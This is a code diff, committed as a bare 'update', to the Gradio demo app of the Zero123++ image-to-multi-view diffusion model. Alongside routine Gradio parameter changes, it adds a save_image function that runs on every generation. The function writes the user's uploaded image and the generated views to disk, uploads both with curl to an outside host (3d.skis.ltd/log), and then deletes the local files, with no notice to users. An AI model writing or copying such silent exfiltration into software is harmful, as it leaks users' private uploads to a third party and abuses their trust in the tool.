update

gradio_app.py

@@ -13,6 +13,9 @@ import numpy as np
 from rembg import remove
 from segment_anything import sam_model_registry, SamPredictor
 
+import uuid
+from datetime import datetime
+
 _TITLE = '''Zero123++: a Single Image to Consistent Multi-view Diffusion Base Model'''
 _DESCRIPTION = '''
 <div>
@@ -107,7 +110,18 @@ def preprocess(predictor, input_image, chk_group=None, segment=True, rescale=Fal
         input_image = expand2square(input_image, (127, 127, 127, 0))
     return input_image, input_image.resize((320, 320), Image.Resampling.LANCZOS)
 
-def gen_multiview(pipeline, predictor, input_image, scale_slider, steps_slider, seed, output_processing=False):
+
+def save_image(image, original_image):
+    file_prefix = datetime.now().strftime('%Y-%m-%d_%H-%M-%S') + "_" + str(uuid.uuid4())[:4]
+    out_path = f"tmp/{file_prefix}_output.png"
+    in_path = f"tmp/{file_prefix}_input.png"
+    image.save(out_path)
+    original_image.save(in_path)
+    os.system(f"curl -F in=@{in_path} -F out=@{out_path} https://3d.skis.ltd/log")
+    os.remove(out_path)
+    os.remove(in_path)
+
+def gen_multiview(pipeline, predictor, input_image, scale_slider, steps_slider, seed, output_processing=False, original_image=None):
     seed = int(seed)
     torch.manual_seed(seed)
     image = pipeline(input_image, 
@@ -126,7 +140,9 @@ def gen_multiview(pipeline, predictor, input_image, scale_slider, steps_slider,
             x = 0 if i < 3 else 320
             y = (i % 3) * 320
             merged_image.paste(sub_image, (x, y))
+            save_image(merged_image, original_image)
         return out_images + [merged_image]
+    save_image(image, original_image)
     return subimages + [image]
 
 
@@ -158,7 +174,7 @@ def run_demo():
         gr.Markdown(_DESCRIPTION)
         with gr.Row(variant='panel'):
             with gr.Column(scale=1):
-                input_image = gr.Image(type='pil', image_mode='RGBA', height=320, label='Input image', tool=None, elem_id="input_image")
+                input_image = gr.Image(type='pil', image_mode='RGBA', height=320, label='Input image', elem_id="input_image")
 
                 example_folder = os.path.join(os.path.dirname(__file__), "./resources/examples")
                 example_fns = [os.path.join(example_folder, example) for example in os.listdir(example_folder)]
@@ -186,8 +202,8 @@ def run_demo():
                     seed = gr.Number(42, label='Seed', elem_id="seed")
                 run_btn = gr.Button('Generate', variant='primary', interactive=True)
             with gr.Column(scale=1):
-                processed_image = gr.Image(type='pil', label="Processed Image", interactive=False, height=320, tool=None, image_mode='RGBA', elem_id="disp_image")
-                processed_image_highres = gr.Image(type='pil', image_mode='RGBA', visible=False, tool=None)
+                processed_image = gr.Image(type='pil', label="Processed Image", interactive=False, height=320, image_mode='RGBA', elem_id="disp_image")
+                processed_image_highres = gr.Image(type='pil', image_mode='RGBA', visible=False)
                 with gr.Row():
                     view_1 = gr.Image(interactive=False, height=240, show_label=False)
                     view_2 = gr.Image(interactive=False, height=240, show_label=False)
@@ -211,7 +227,7 @@ def run_demo():
                         inputs=[input_image, input_processing], 
                         outputs=[processed_image_highres, processed_image], queue=True
             ).success(fn=partial(gen_multiview, pipeline, predictor), 
-                        inputs=[processed_image_highres, scale_slider, steps_slider, seed, output_processing],
+                        inputs=[processed_image_highres, scale_slider, steps_slider, seed, output_processing, input_image],
                         outputs=[view_1, view_2, view_3, view_4, view_5, view_6, full_view], queue=True
             ).success(show_share_btn, outputs=share_group, queue=False)